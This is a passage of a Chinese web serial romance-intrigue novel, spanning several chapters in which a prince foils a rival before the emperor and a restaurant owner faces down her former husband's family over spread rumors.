宫人上了茶,沈云祉与平王都尝着。 “确实是好茶,新到的碧螺春,但微臣尝着,茶虽好,水却更难得,皇上,这煮茶的水并不普通吧?” 沈云祉笑意满满的话语惹得皇上大笑。 “小云南王果然是爱茶之人,这茶是取清晨荷叶上的露珠烹饪而成,才使这茶香不散,更为沁人心脾。” 皇上无不得意的说着,又转看向平王。 “平王觉得如何?” “皇上是知道臣的,臣向来不爱这些,也只是解个渴罢了。” 平王说的倒也是实话,他甚至觉得沈云祉所说的那些,都是在讨好皇上,他很是不屑。 皇上一时无言,只轻咳了两声。 “说起来,臣今日来还带来了第一楼的糕点,臣吃着不错,特意带来给皇上尝尝,配着这碧螺春正好。” 沈云祉看了看门外,双瑞便带着两盒糕点走了上来,行过礼后,便呈到了皇上面前。 皇上点了点头,看着那糕点精致,拿起了一块。 “第一楼?便是在城门外举办宴席的第一楼?” 说着,皇上也浅尝了那糕点。 “皇上好记性,正是,微臣常年居住在云南,回京后,也就觉得第一楼的饭菜不错,糕点也是一绝。” “确实不错,入口即化,软绵香甜,又不会太腻,很好。” 皇上对这糕点是赞不绝口。 沈云祉信顾皎皎,对于这个结果也不意外,只是这时,平王却冷笑出声。 “小云南王好歹也是贵为王爷,被一介商户之女迷的晕头转向,还敢将这些杂物递到皇上跟前,不知羞耻。” 平王针对,一开口便是恶毒之语。 “不过是几块糕点而已,平王何出此言?” 沈云祉歪着头,帅气的脸上挂着若有若无的笑意,不急不恼,似是在听着一件与自己无关的事。 “如今这京城都传遍了,这第一楼的掌柜时常与小云南王来往,那宴席也是小云南王求来的,怕不是你为一己私欲,竟然连皇上也蒙蔽了吧。” 平王说这话的时候,高昂着头,无不得意。 “当真?第一楼的掌柜竟是女子?长相如何?家世,人品怎样?” 皇上突然开口,身子不自觉的向前倾了倾,原本因为病痛略显苍白的脸上,此时却满是期盼。 皇上确实不知第一楼的掌柜是女子,当初小云南王和杜玉荣提议之时,他也不曾想一女子会将生意做成这般,如今倒是极为好奇。 不过,皇上这表现,却是让平王极为不满。 “皇上明查,那女子是善会把弄人心的,原也是匹配了人家的,却被夫家休弃,可见一般,如今又借小云南王接近皇家之事,其心可诛。” 平王这义正言辞的模样,似是一副为了皇家与朝廷着想的模样。 “平王慎言,不是休弃,是和离,何况,顾掌柜之前的夫家是谁,平王难道不知晓吗?” 沈云祉没有澄清谣言,反倒是在为顾皎皎正名。 平王嘴角微动,不免会想到那个让他厌恶的孙协兆,只能立即转移话题。 “皇上您听听,小云南王虽说不常驻京城,可这般行为举止,岂非是丢皇室颜面。” 他们二人的话,皇上都听着,但听的却不是关键。 “和离之人,又是商户女,这身份是有些悬殊,但无妨,虽说不能为正室,你若是喜欢讨来做个妾室也好,不入玉碟,无伤大雅。” 皇上眉宇间满是凝重,似是很认真的思索起来,又似是想起什么的继续说道。 “朕这身子也无法出宫,云祉,不如择个吉日,你带她入宫,朕见见。” 这一来二去,似是就要将此事定了一般。 平王脸色难看至极,正欲说什么时,沈云祉大笑出声。 “皇上不要打趣臣了,外界都是一些无稽之谈,臣与顾掌柜多了些来往,也都只是因为生意而已。” 相比平王的愤愤不平,沈云祉却显得云淡风轻,完全没有放在心上。 皇上也是好奇,又继续打探了一番。 沈云祉才说,顾皎皎是难得的做生意的好手,又涉及到他自己田地商铺交与顾皎皎打理,来往便多了一些。 只是,关于他受伤是因为顾皎皎之事,沈云祉只字未提。 “竟有这般奇女子,不过,你的眼光向来不差,想来是可以信任之人。” 皇上似是都忘记了刚刚平王的话,对沈云祉所说的倒是深信不疑。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百零九章 一派胡言 沈云祉轻松化解了平王的刁难,平王自是不会善罢甘休,只是如今有皇上相护,他也奈何不得。 “去,把这糕点拿去给平王尝尝,朕倒是觉得比御膳房的好。” 皇上摆了摆手,让身边的宫人将糕点拿给平王。 在皇上的注视下,平王自是装模作样的尝了一些,他如今心里满是怨气,自然是尝不出什么,却也要客套几句。 “皇上喜欢之物自是万里挑一,到底还是小云南王更为了解皇上喜好。” 这话一语双关,一是说小云南王别有用心,再一便是说小云南王揣测圣意。 无论是皇上还是沈云祉,自然都听得懂平王话语中的意思。 沈云祉轻笑,轻抬了抬手中的折扇,指向那些糕点。 “平王向来繁忙,想必也不没有去过第一楼,这些糕点都是第一楼的招牌,小王并不知皇上是否喜欢,只好每样带来一些。” “小云南王重伤初愈,就急忙的跑到皇宫里来,真是殷勤。” “身为臣子,别说只是受伤,就算只要有一口气,听候召命也是本份。” “你!” …… 眼见二人越吵越凶,皇上无奈的摇了摇头。 “好了。” 皇上轻咳两声,看向下方的二人。 “两位卿都是朕的肱骨之臣,何分彼此?日后这江山也是需要二位坐镇,彼此也要多包容一些。” 皇上如今这身体他自己是清楚的,心里也早就想法,只是权衡利弊之下,也终没有做出决定。 “是,微臣遵命。” 沈云祉立即应道,平王却只是垂了垂眼眸,冷着一张脸一言不发。 皇上自是不悦,却也没有说什么,而就在皇上准备让二人离开的时候,外面的宫人又走了进来。 宫人汇报,大理寺卿有要事相报,事关沈云祉遇刺一事。 “今日倒真是热闹,传。” 皇上之前温和的态度已然荡然无存。 平王眉头紧锁,回想着自己所行之事,确定没有任何纰漏才安心不少。 大理寺卿进来时,看到在场的人,慌了一瞬才跪地行礼。 皇上直接让他说正事,避免那些虚礼。 “微臣奉命追查真凶,查了这些时日终于有了一些眉目,那些刺客并非是常驻京城之人,在行刺之前,他们居住在城东的一家客栈。” 这些人很会隐藏身份,实际是杀人于无形的刺客,在外在却是戏台班子,每个人都有些本事,所以一直也没有人发现。 “此一行人是在宴席前两日进入的京城,普天同庆的日子,京城之中的防御也松懈一些。” 大理寺卿说完这些的时候,额头处已经冒出了细碎的汗珠,时不时的瞟向平王,脸色也愈发难看。 “大人是奉旨查案,查多查少尽力而为就好,怎么本王见大人今日似是有紧张之色。” 沈云祉的神态略显慵懒,眉眼间的笑意那样明显。 大理寺卿尴尬的扯了扯嘴角。 “小云南王说笑了,只是,只是此事拖的时间太久,微臣自责不已。” 他倒是找了一个很好的理由。 “只查到这些?” 皇上在上面开口,只是询问,却足以让这位大人跪倒在地。 “还有,还有……还有人看到,那些刺客为首的一人曾去过,去过……平王府。” 简短的一句话,大理寺卿嗑嗑巴巴的说了许久,而当最后三个字说出来时,在场的人都愣了一瞬。 “放肆,你这废物,竟然敢在皇上面前胡言乱语,是谁指使你诬蔑本王?” 平王愤然起身,大喝出声,所有的怒火都在他的言语之间表现出来。 “皇上明查,微臣不敢,微臣万万不敢胡言,那刺客前往平王府时有人亲眼所见,这是证人与证词。” 大理寺卿将一份折子递了过去,皇上身边的宫人立即过来取。 平王不知里面写了些什么,出于本能的想上前却抢夺,只是他刚走了两步,便被沈云祉出言阻止。 “平王息怒。” 沈云祉抬眼,漆黑的眸子里有一异样的光芒一闪而过。 平王立即停下脚步,也突然想起,皇上还在上面坐着,只是,若是任由这人继续下去,他怕是脱不了关系。 “此子如此诬陷本王,难道本王还要任由他在这里胡言乱语吗?” “平王何出此言?大理寺卿调查案件,如实上报,是他的职责,若这中间有不实之处,再调查就是,皇上在此,自然不会冤了任何一人。” 沈云祉扯出大**义,让平王一时无言,而此时,皇上也看完了那份折子。 那折子里的内容与大理寺卿所言无差,证人证词,何时何地都记录的清清楚楚,也正是因为这样,皇上才更为寒心,愤怒。 “平王,朕给你一次机会,你跟朕说实话,刺杀之事是不是你所为?” 皇上沉闷的声音缓缓传出,在这大殿之上回荡,久久才散去。 平王眉头微皱,却高昂着头立在那里。 “一派胡言,本王从来没有跟什么刺客有联系,就算有人看到那刺客进入了平王府,也只能说明刺客去过,谁知他是不是进本王府躲藏或者偷盗。” 平王的反应是极快的,也不等众人说什么,他又看向大理寺卿。 “你这官职怕是也做到头了,这天下所有人都知道本王与小云南王不睦,你偏偏要来指证本王,莫不是跟小云南王串通,有意来诬陷本王?” 平王将矛头指向了沈云祉。 大理寺卿跪在地上不停磕头,一遍遍向皇上陈情绝无串通之事,他所提交的证据,皆是事实。 听着这些,平王却是冷哼一声,冷声开口。 “小云南王被刺杀已发生数日,之前都是一无所获,如今你倒是查出了这许多,本王看你们这是欲加之罪何患无辞。” 找到了这个方向,平王又似是自信了一些。 沈云祉热闹看够了,也从椅子上缓缓起身。 “平王今日也太心急了一些。” 他停顿了一下后,才缓缓继续开口。 “本王自受伤后今日是头一日出驿站,且刺杀一案我从未插手,调查也是由皇上钦点的大理寺卿,何来串通一说?” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百一十章 绝不能姑息 “你一向狡诈,不出门行万事,又何在话下?” 平王不甘示弱。 沈云祉摇了摇头,故意将一抹无奈的笑挂在脸上。 “平王想撇清自己,也无需非得拉上本王,皇上指了何人调查此案是隐秘之事,况且本王回京时日不长,这朝中之人熟识的更少,这些都是可以调查的。” 随后,沈云祉转身向皇上行了个礼。 “皇上,平王所言也不无道理,刺杀之案关系重大,依臣之见,继续调查方为稳妥,一来是清理邪恶,二来也不至于冤枉了平王。” “沈云祉,你……” “够了。” 皇上怒声喝道,使平王后面的话并未说出来。 “此事朕已经了解了,平王,虽说没有确凿的证据,但你终究是有嫌疑的,从即日起你闭门思过,直至案子查清。” “皇上,臣……” “好了,朕乏了,你们都退下吧,大理寺卿,朕要你尽快查清此案,不容错漏,也绝不能姑息。” 皇上丢下这句话后,就缓缓起身,由身边的宫人扶着走进了后殿。 这场合,大理寺卿是不敢多停留的,向二位王爷告退后,便逃也似的离开了。 沈云祉与平王一起离开了大殿。 “小云南王好手段啊,本王一时不慎竟中了你的计。” 此时平王已经反应过来,那所谓的有刺客进入王府之事,许只是诈一诈他罢了,而他行事太过莽撞,说了诬陷之言,竟才让皇上下旨对他彻底展开调查。 只是,平王现在才明白其中的涵义,已经为时已晚了。 沈云祉缓步走下台阶,侧目看向身旁的平王,丝毫不掩饰眉宇间的得意,但又装傻。 “平王此话何意?小王实在不懂,若是说刺杀之事,小王也不信是平王所为,毕竟若是平王出事,那小王该跟谁去斗呢?” 沈云祉停下脚步,眼中的笑意更明显了几分。 “对了,我会跟大理寺卿知会一声,让他们快一些,至少不要误了平王府和安阳候府的好事。” 说完,沈云祉大笑着离开,每一步都走的那般坚定。 宫墙深深,长街之上都是来来往往的宫人,遇到站在原地的平王,都会停下行礼问安,他们也知道这位平王向来脾气不好,在礼数上更是不敢怠慢。 平王是自傲之人,根本不将这些下人看在眼里,他只是想着,到底是哪里露了痕迹,能让沈云祉如此冒险。 宫门外。 沈云祉的马车刚拐出城门就停了下来。 杜玉荣进入马车后,确定无人发现后,马车才继续行驶。 “小王爷,如何?” 杜玉荣眉眼中透着一抹担忧。 “一切顺利。” 沈云祉毫不犹豫的丢出这几个字,杜玉荣立即松了一口气。 “平王跋扈多年,又仗着自己的身份横行霸道,早就丢了最初的本份与谨慎,还是小云南王看的透他,这招才管用。” 杜玉荣由衷的感慨着,也难免不会觉得悲凉。 在他认为国家大昌盛,百姓安宁,为君为官者都是有责任的,为官不正,便是对不起天下苍生。 自然,如他这般想的当官之人没有几个。 “你是心地良善之人,行事光明磊落,是堂堂的君子,只是,你太过刚直,看人也会失了水准。” 沈云祉倚靠马车上,他大伤初愈,撑着这身子,又费神费力,也觉得有些疲累。 “小王爷此话何意?” 杜玉荣不懂。 “他平王不是因为身份才如此胆大妄为,而是他本身就是如此之人,当年皇上登基,他也是愤愤不平,即使是到现在,他也觉得他才是最适合皇位之人。” “他怎敢如此想?这,这可算是谋逆了。” “嗬,平王不在意,皇上也知他这份心思,但皇上心软,处处优荣,也顾念着手足之情,便也不曾苛责,但平王一直觉得他未登上皇位,是先帝偏心于皇上,而不是因为他不是帝王之材。” 沈云祉不常在京中走动,但对于这些事却是了如指掌,与其说他了解平王,不如说他了解皇室之争。 听着这些,杜玉荣心底涌起一股气愤。 “我自幼读书,常常觉得,既为臣该为百姓分忧,为能当得起富贵尊荣,如今看来,是我看的不够透彻。” 沈云祉抬手拍了拍他的肩膀,面露欣慰之色。 “若人人都如你这般,历史之上就不会血迹斑班了。” 正在此时,双剑在车外轻唤了沈云祉,随后问不远处便是岔路口,是否要回驿站。 “小王爷身上还有伤,今日又劳累了,早些回去歇息才是。” 杜玉荣也想在此时下车了,但却被沈云祉拦下。 “马上午时了,本王也饿了,玉荣,你陪本王去用膳。” 沈云祉说着时,缓缓闭上双眼,不等杜玉荣反应过来,他又悠悠开口。 “去第一楼。” 第一楼。 相比之前的忙碌,顾皎皎今日倒是清闲不少。 她坐在阁楼之上,窗子开着,淡淡的风吹进来,拂动着她额边的一缕长发,娇艳又不失唯美。 只是她所坐的位置,别人看不到,这里也是她歇息,求得安静的好地方。 顾皎皎饮着茶,房门便被突然打开,她头也没有抬,便柔声开口。 “莺儿,越来越没规矩了。” 这里,除了莺儿没有人进来,所以她也不用特意去看。 “姑娘,小云南王来了,还有杜大人,小云南王说若是姑娘不忙,便去作陪。” 这才是莺儿匆忙闯进来的原因,毕竟楼下那位是小云南王,又发话了,她自是不敢耽搁。 若是以往,顾皎皎也会找借口避开此事,但今日沈云祉带着第一楼的糕点入宫,她若是再躲,良心上也过不去。 “你先去备些酒菜,我即刻就去。” “是。” 莺儿转身离开。 顾皎皎也站起身,整理了一下衣裙,才走下阁楼。 正是午膳时分,第一楼里自然热闹,只到二楼便可听到人声鼎沸。 顾皎皎早已习惯,拐个角站到了一个雅间前。 她轻扣房门,听到里面传出了‘进’的声音,才推门而入。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百一十一章 还是那么刻薄 第一楼的菜式每隔半月会换一批,让人吃个新鲜,也会招揽更多顾客。 沈云祉与杜玉荣正说着顾皎皎心思奇巧时,她便走了进来。 一袭鹅黄的衣衫,简单的发饰,白净的脸上甚至没有多少妆容,这样的顾皎皎给人一种清爽的感觉。 只是,在这样的季节,也难免让人觉得清冷。 “今日倒是巧,二位竟一同来了第一楼,我吩咐他们备了金玉羹,这个时节喝是最好的了,里面的羊汤是今晨新熬制的。” 顾皎皎少了以往的一些客套,坐下时,还特意看了看沈云祉,也是担心他的伤势。 “第一楼的餐食乃是一绝,我府中最好的厨娘也不及三中之一。” 杜玉荣言语温和,也不吝啬自己的称赞。 顾皎皎有些不好意思,低头笑了笑。 “杜大人过誉了,不过是讨生活的一些本事罢了。” “没错,她既是做这个的,若是做的跟普通厨娘一般无二,还开什么商铺,种田算了。” 沈云祉脸上的疲惫之色那般明显,但是说出来的话,还是那么刻薄。 顾皎皎暗暗咬了咬牙,想着他身上有伤,也不跟他计较。 “对了,近来京城之中又传出了一些对你不好的谣言,瞧这势头似是有人故意为之,你万要小心才是。” 杜玉荣向来体贴,转移话题之时,也对顾皎皎极为关切。 那所谓的流言,传的是顾皎皎与沈云祉,可是听到这话,沈云祉却没什么反应,只是饶有兴趣的打量着顾皎皎,似是在等待看热闹一般。 顾皎皎现在后悔来与他们二人一同用膳了,确切的说,她后悔跟沈云祉坐在一桌了。 “多谢杜大人提醒,杜大人心明眼亮,既看出是有人故意为之,那便不必放在心上。” 她说的风轻云淡,也像是根本不放在心上一样。 杜玉荣微微点头,倒是沈云祉轻笑出声。 “玉荣,看出什么没有?” 杜玉荣怔了一下,疑惑的看了看二人,轻轻摇头。 “顾姑娘啊,胸有成算,怕是早就对策了。” 沈云祉阴阳怪气,却也确实被他说中了。 杜玉荣不禁瞪大双眼看向顾皎皎,似是不敢相信她一介女子竟可处理如此之事。 这世间,对女子太多苛责,一言一行,稍有差池皆是过错,她如今孤身一人撑着这些商铺本就艰难,那些流言无异于雪上加霜。 杜玉荣想问些什么,但顾皎皎率先一步开口了。 “只是小事,要处理也不难,二位别光顾着说话了,用膳吧。” 她不想提此事,便委婉的转开话题。 杜玉荣明白她的意思,也不再过问,继而聊起了其他。 三人共同用了膳,顾皎皎时而为他们讲一些菜品的做法,兴致极佳,整个相处也极为和谐。 用过膳后,顾皎皎将二送到门口。 “顾皎皎,本王近来伤有好转,但也时常觉得不适,想来是双瑞双剑照顾的不够仔细,你若有空,便来驿站照顾吧。” 沈云祉上马车之前,似笑非笑的说道。 如今这京城大街小巷都是他们二人的传言,在这个时候,沈云祉还让顾皎皎前往驿站,这不是明摆着把把柄送到别人手中吗? 顾皎皎不明所以的看了他半晌,才缓缓开口。 “是,民女记下了。” 她只能同意,抛开其他不谈,只他身上的伤,她就有亲自照顾的义务。 沈云祉满意的上车了。 杜玉荣眼中有异样的光芒闪过,却也终究没有说什么,转身离去。 京城谣言四起,男女间的事,向来是人们茶余饭后的谈资,也不需要刻意做什么,便满京城都是了。 “听说了吗?那第一楼的掌柜与小云南王关系匪浅呢。” “倒是听说了一些,这顾掌柜的确厉害,从安阳候府离开,还愈发得意了。” “你们啊,别乱说,这些话,知道是谁说的吗?是安阳候府的三少爷。” “什么?难不成这孙三少爷还是故意的不成?” “故不故意我不知道,只知道那安阳候府的人几次三番去找顾掌柜要钱,但每次都没有得到好处,心生记恨也未可知啊。” …… 午后的阳光和暖,街道之上的人也多了一些。 孙老夫人带着她那两个不争气的儿媳下了马车,前往前面那间并不起眼的胭脂水粉铺子。 以前顾皎皎在候府时,什么时候用她们亲自来挑脂粉,到了日子自有人送到她们跟前,且是整个京城里最好的。 自顾皎皎离开后,她们自是没有这样的待遇了,甚至连那些有名的商铺也不敢进,只能进这种普通的。 “母亲,这东西看着也太粗糙了,照我们之前用的也差的太多了。” 二夫人刘氏拿起手帕捂着鼻子,眼前这一排脂粉的香气闻着都有些刺鼻,她自是满脸嫌弃。 自然,她这个样子也遭到了孙老夫人的白眼。 “你若不愿用,可自己出钱买些好的,我不拦着你。” 此话一出,刘氏顿时像霜打的茄子一般,不敢再多说一个字。 一旁的章氏倒是上前一步。 “母亲眼光极佳,儿媳瞧着这铺子比之前送到我们府上的还要好一些,但价格却少了三成不止。” 听到间氏这般说,孙老夫人的脸色才缓和了一些,随意说了两句话后,便让她们自己随意挑选。 铺子的外面便是一个小茶摊,几个喝茶休息之人的话,也不大不小的传了进来。 “安阳候府一家子都是不堪说的,那孙三说出来的话能信吗?” “确实如此,之前听闻安阳王府攀上平王,本以为是光耀门楣的事,但转头,那孙家人便去找顾掌柜的麻烦。” “何止是找麻烦,还在第一楼向顾掌柜要过银钱呢,安阳候府如今已经破败,孙三散布谣言就是忌妒顾掌柜过的好罢了。” “虽说顾掌柜是商户之女,但也是自力更生,再看看安阳候府,那可是一家子吸血鬼,只散布谣言这一事,便可知他们人品德性极差。” 这些话,孙老夫人和她两个儿媳都听得一清二楚,孙老夫人也终忍受不了,快步走向门外。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百一十二章 得过且过 “你们在胡说什么?她顾皎皎不是个东西,与安阳候府何干?” 孙老夫人站在门边,丝毫没有候府老夫人的端庄,更像是城郊外村头的农妇,带着一股泼辣劲儿。 茶摊上坐着的几人不禁有些意外,打量了一下这老妇,只觉得莫名其妙。 “与你何干?你……” 其中一男子刚一开口,旁边便有人扯了扯他,低声在他耳边说了什么。 那男子闻之也是微微一愣,低头不再说什么。 安阳候府向来学不会低头做人,候府的这位老夫人更不知什么是见好就收。 “就凭你们也敢议论安阳王府,低贱的身份,喝个茶还堵不上你们的嘴。” “她顾皎皎本就是个商户之女,上不得台面,就算生意做的好,也不定用了什么下作手段。” “还有你们这群人知道什么?我儿日后可是平王府的女婿,你们这般货色,连给儿提鞋都不配。” 对面的几人不说话,自然是知道了孙老夫人的身份,有候府这个名头,这老夫人也越发肆无忌惮起来,口无遮拦,耀武扬威。 章氏在一旁拉过孙老夫人,但却被她甩开手,瞪了回去,致使章氏也只好无奈后退两步。 孙老夫人似是出了气了,可也将对面的人惹怒了。 一男子‘腾’的一下站了起来,指着孙老夫人便开口了。 “你们安阳候府就是什么好货色了,一家子吃人不吐骨头的东西,就凭你们还敢跟顾掌柜的比?” “就是,你那好儿子自己无能,却四处散布人家顾掌柜的谣言,你们就是见不得人家好。” “何止啊,听闻这安阳候府如今连买布料的钱都没有,之前也是人家顾掌柜补贴这候府,如今顾掌柜脱离苦海了,你们怕是连下锅的米都快买不起了吧?” 几个人与孙老夫人面对面,几番争吵下来,周围已经围卫很多看热闹的人。 孙老夫人脸一阵红一阵白,却依旧不甘示弱。 “你们就是一群刁民,我安阳候府百年府院,就算是地上的一块砖也够你们这群人吃半辈子的。” 她这话音一落,周围立即有人嘲笑出声。 “孙老夫人莫要说笑了,你身后的这家胭脂铺,我们都是嫌弃着的,您倒是进进出出很多次了,怕是手中银钱早就不足了吧?” “从前这安阳候府也是高门大户,是该有些傲气的,可如今啊,都是一些软骨头,这与平王府攀上关系,怕也是用了什么肮脏手段的。” 听着这些孙老夫人气的不轻,还欲上前争论,却被章氏拉住。 “母亲,他们人多,若是出了什么事,我们怕是会吃亏,何况,我们不必与他们无谓争执。” 章氏是个冷静,一旁的刘氏见这阵势也是有些怕的。 “是啊,母亲,我们先回吧。” 孙老夫人也是无颜再留下来,几人灰溜溜的走了,留下众人嘲笑出声。 夜幕降临。 顾府的宅院整修的很好,顾皎皎在院子里种植了一排桅子花,入夜时分,随着微风入窗子的,还有淡淡的花香。 她坐在梳妆台前,头上的珠饰早就不见,一头乌黑的长发披在肩膀,在烛光下也如缎子一般,好看极了。 莺儿端着一盆温水进来,水中是泡好的玫瑰花瓣,清香滋润,护手是最好的。 “外面传回消息,这安阳候府乱作一团了,白日里孙老夫人辱骂百姓,傍晚时分,安阳候府门前就被放了烂菜叶臭鸡蛋,就连大门上都被涂抹了污秽之物。” 莺儿说着时,都掩饰不住心里的高兴。 孙家是一家子吸血蛀虫,之前在候府,她家姑娘就百般委屈,如今离开了还要被他们算计,如今他们受到了惩罚,莺儿自己高兴不已。 顾皎皎听着却不觉得意外,这个结果在她预料之内,却比她想的更快。 “孙家过惯了锦衣玉食的日子,如今这等他们自是受不了的,然后呢?” 顾皎皎洗着手,抬头向莺儿询问。 “孙老夫人气的不轻,非要报官,最后却被孙三拦下了,只命人清理了,悄无声息的过去了。” “孙协兆倒是聪明了一次。” “姑娘为何如此说?” “若是报官,官府必定追查,到时候安阳候府又被推出来,难以不会查出孙协兆暗中行的事,不如不张扬,得过且过。” “哼,这个孙三竟然也有怕的时候。” 顾皎皎却摇了摇头,轻拭着手上的水珠。 “他不是怕京城官府,而是怕此事闹的太大,让平王厌恶。” 她了解孙家人,也自是看的透彻,停顿了一下后,她又说道。 “给我更衣吧。” 莺儿愣了一下,歪头看向外面。 “姑娘,已经晚了,还不休息吗?” 顾皎皎笑了笑,没有说话。 正在此时,外面有婢女轻扣房门,说顾府外有人求见,来的人正是安阳候府的三公子。 莺儿瞪大眼睛,看着她家姑娘如看着一位老神仙一般。 顾皎皎抬手轻点了一下她的额头,随后吩咐外面的人,不必请孙公子入府,让他等着。 被人拒之门外,甚至连个坐都没有,孙协兆心里积压着无数怒火。 他不停的在门前踱步,候府家的公子,何曾受过这般委屈,所以当那扇大门打开之时,他也瞬间将心里的怨气发泄出来。 “顾皎皎,谁给你的胆子,你竟然敢让我等这么久,你一商户之女,果然是不懂规矩,不知礼法,放肆,太放肆了。” 看着孙协兆因愤怒而变得有些扭曲的脸,顾皎皎胃里一阵翻涌,转头看向别处。 她也不出声,只安静的站在那里,甚至没有询问孙协兆为何来此。 “你这是什么态度?啊,顾皎皎,你知道我现在是什么身份?你……” “孙公子看清楚了,这里是我顾府,天色已暗,你站在我门前,是何种礼法规矩?” 顾皎皎不想听他吵闹,看向他时,面容袭上了一片冰冷。 孙协兆愣了一瞬,他可从未见过顾皎皎这般对他,至少他心理上承受不了。 半晌,孙协兆才冷哼出声,再一次提到了小云南王。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百一十三章 是不是你所为? “我说你哪来的底气离开候府,原来早就想好了勾引小云南王,可你也不想想,你这等贱门之女,小云南王怎可看得上你。” 孙协兆将自己所受的气都发在了顾皎皎的身上,他似是都忘记了,那所谓‘勾引’之说,明明就是他散布出去的谣言,他自己倒是当真了。 “你来做什么?” 顾皎皎面色平静,声音冷淡,甚至都懒得与他争吵。 她这副态度,倒是让孙协兆一时无法应对。 “你……好,我且来问你,如今这京城遍布流言碎语,是不是你所为?” 孙协兆顶着一张好大的脸,问出这等话,甚至没有半分心虚。 顾皎皎扬起嘴角,轻笑出声,打量孙协兆的目光都满是嘲讽。 “孙协兆你脑子是进水了不成?我自己散布谣言,说我与其他男子苟且吗?” 孙协兆抿了抿唇,依旧面露不甘。 “我说的不是这个,而是……” “而是什么?” 见孙协兆为难,顾皎皎追问。 孙协兆要怎么说呢?流言是他散布出去的,但是传着传着便变了味道,如今倒是没什么人说顾皎皎什么,却都在传他安阳候府的各种隐私之事,难听至极。 “既然孙公子无事,那便请回吧。” 说完,顾皎皎便欲转身,却被孙协兆拦住了去路。 “顾皎皎,我也知你是怨我的,但过去的已然过去了,你若是悔改,我们也可和平相处,你若是嫌弃外室,我也可抬了抬你,入府为贵妾,如何?” 孙协兆可不是有情有义,而是越来越不舍得顾皎皎的产业,那一个接一个的商铺,一片接一片的田地,让他心痒不已。 只是,他这高傲的样子,却丝毫没有注意到顾皎皎脸上那般明显的鄙夷之色。 “我乃商户之女,自是配不上候府的三公子,我就不凑这个热闹了。” 顾皎皎此话一出,孙协兆就急了。 “你也知道你的身份,而青青乃是郡主,难不成你还想做正妻?” 孙协兆停顿了一下后,又露嘲讽之色,继而无不打压似的说了下去。 “若是与我同候府,你至少还有个身份,可若是你动了对小云南王的心思,怕也只是一个姘头。” 孙协兆是读书人,自诩清流之辈,可每次开口都是污秽之言,让人不忍耳闻。 顾皎皎的耐心耗尽。 她长长的吁了一口气后,迎向孙协兆那得意的目光。 “安阳候府只靠荫功,你们这一代一无战绩,二无功勋,已然是墙倒众人推的地步。” “你,孙三公子,无才无德,上不能报效国家,下不能治家养家,实则是废物一个,你的自信是从哪里来的?” “再有,你是怎么好意思将自己与小云南王相提并论的?我也实话告诉你,就算是做小云南王的姘头,我也不屑做你安阳候府的正妻。” 夜风微凉,月光明亮,顾皎皎坚定的眼神如这夜空中的星星一般明亮,坚定。 孙协兆咬着牙,正欲说什么时,一道声音突然从不远处响起。 “说的好。” 一个挺拔的身影渐渐的显现,在看清来人后,顾皎皎不禁觉得后背发凉。 她想着,近来是不是冲撞了什么,不然也不能做什么事都这般倒霉,这孙协兆阴魂不散,刚脱口而出的气话,也被正主听见。 “本王新得了一幅画,想着也就顾姑娘能探讨一二,却不想遇到了孙公子,本王无意偷听,孙公子莫怪。” 小云南王城府颇深,俊朗的面容上挂着若有叵无的笑,让人分辨不出他是喜是怒。 孙协兆原是他身边的人,后又背叛归了平王,这已然是明面上的事,如今见面,孙协兆自是连头都不敢抬。 “见过小云南王,小王爷言重了,不过是些闲话,小王爷莫要放在心上。” 孙协兆是想要离开这是非之地的,但看着沈云祉身后的那两句侍卫,却也不敢冒然离开,只能应付着。 沈云祉根本就没有理会他,而是上前两步站到顾皎皎面前。 “顾姑娘是奇女子,本王虽是顽劣,却也不舍得让你做什么姘头。” 他如此明目张胆的拿顾皎皎打趣,若是其他事,顾皎皎还有反驳一二,如今却也只能微红着脸请罪。 “民女口无遮拦,小王爷恕罪。” 她的声音不大不小,却足以让在场的几人都听得一清二楚。 沈云祉笑意渐浓,侧目看向孙协兆。 “京中最近盛传本王与顾姑娘的谣言,本王闲来无事查了一番,发现是孙公子所为,今晚本来过来,又被你撞上,你回去安排一下,再继续散布一些。” “小云南王明查,属下不敢,属下冤枉。” 孙协兆毫无征兆的跪在地上,嘴硬的跟什么似的。 沈云祉啧啧两声,俯视着地上的人。 “本王也懒得给你拿证据,只是你再传那些虚假消息之时,尽量再描述的详细一些,譬如说何时何地私会,具体都做了什么等,本王爱听。” 他这些话说完,孙协兆跪在地上已经在微微发抖,想说些什么却根本不知道如何开口。 沈云祉看了一眼顾皎皎,她立即心领神会。 “小王爷既说带了画,不如进去让民女细赏,民女命人备些茶点。” 顾皎皎做出请的手势,沈云祉并未拒绝,抬脚走了进去,顾皎皎紧随其后。 看着那扇大门关闭,孙协兆才缓缓站起身,但因为惊吓,他双腿发软,差点又倒了下去。 他又何曾想过,他此次行事会撞到沈云祉这块铁板上,问题是,沈云祉并未责罚,甚至没有后话,这才是让孙协兆日夜难安。 夜已深。 顾皎皎与沈云祉面对面坐着,他们面前的桌上摆着糕点茶水,却唯独没有画。 “孙协兆这等小人,竟曾顾姑娘的夫妻,姑娘识人不明啊。” 沈云祉一只手扶着桌子,调侃之间更明。 “彼此彼此,小云南王不也曾视他为幕僚吗?” 顾皎皎不甘示弱。 沈云祉笑出声,用手中的折扇指了指顾皎皎。 “好厉害的嘴巴。” “小王爷此次前来,只是来看热闹的?” 顾皎皎直接询问。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第二百一十四章 不宜让外人知晓 沈云祉不是来看热闹的,而是来给顾皎皎撑腰的。 午后双瑞回驿站汇报了孙家老夫人在城中之事,又得知安阳候府因此事也闹得鸡犬不宁,他便猜测着孙协兆不会善罢甘休。 果然,在傍晚时分就得知消息,说是孙三来到了顾府。 沈云祉倒不是怕顾皎皎应付不了,而是怕孙协兆狗急跳墙,做出什么无可挽回之事。 “本王哪有那般闲,此来自是有事的。” 所谓的赏画自然只是对外的说辞,沈云祉自也不会说出自己的真实想法。 这京城之中,怕是最闲的人就是小云南王了。 顾皎皎心里这样想着,但并未说出来。 “今日宫里的常嬷嬷特意出来传话,说是皇上传了旨意,命第一楼供一些糕点入皇宫。” 啪。 顾皎皎震惊之余打翻了面前的茶杯,那杯子在桌上转了两圈,在快要滚落到地上时,被沈云了眼疾手快接下。 他转动了下杯子,挑了挑眉。 